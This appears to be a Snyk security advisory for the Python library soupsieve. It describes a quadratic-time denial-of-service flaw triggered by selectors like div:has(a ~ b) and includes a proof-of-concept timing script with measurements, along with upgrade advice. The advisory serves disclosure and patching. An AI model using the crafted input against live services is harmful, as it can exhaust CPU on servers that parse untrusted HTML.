Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade soupsieve to version 2.10 or higher.
Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the match_future_relations function when evaluating a CSS selector containing a general-sibling combinator (~) inside :has(), such as div:has(a ~ b), against HTML with many sibling elements. When no matching right-hand sibling is present, match_future_child walks every candidate element under the scope and for each one the general-sibling branch of match_future_relations walks all following siblings, producing O(n²) comparisons. An attacker supplying a document with a few thousand sibling elements can stall the process for a minute of CPU per request.
Installed from PyPI: pip install soupsieve==2.9.2 beautifulsoup4.
import time import soupsieve from bs4 import BeautifulSoupselector = "div:has(a ~ b)"
for n in (1000, 2000, 4000, 8000): html = "<div>" + ("<a></a>" * n) + "</div>" soup = BeautifulSoup(html, "html.parser") start = time.perf_counter() soupsieve.select(selector, soup) print(n, round((time.perf_counter() - start) * 1000), "ms")
Measured:
n=1000 837 ms
n=2000 3667 ms
n=4000 14797 ms
n=8000 59746 ms
Time quadruples for each doubling of n. The n=8000 input is a ~56 KB HTML fragment.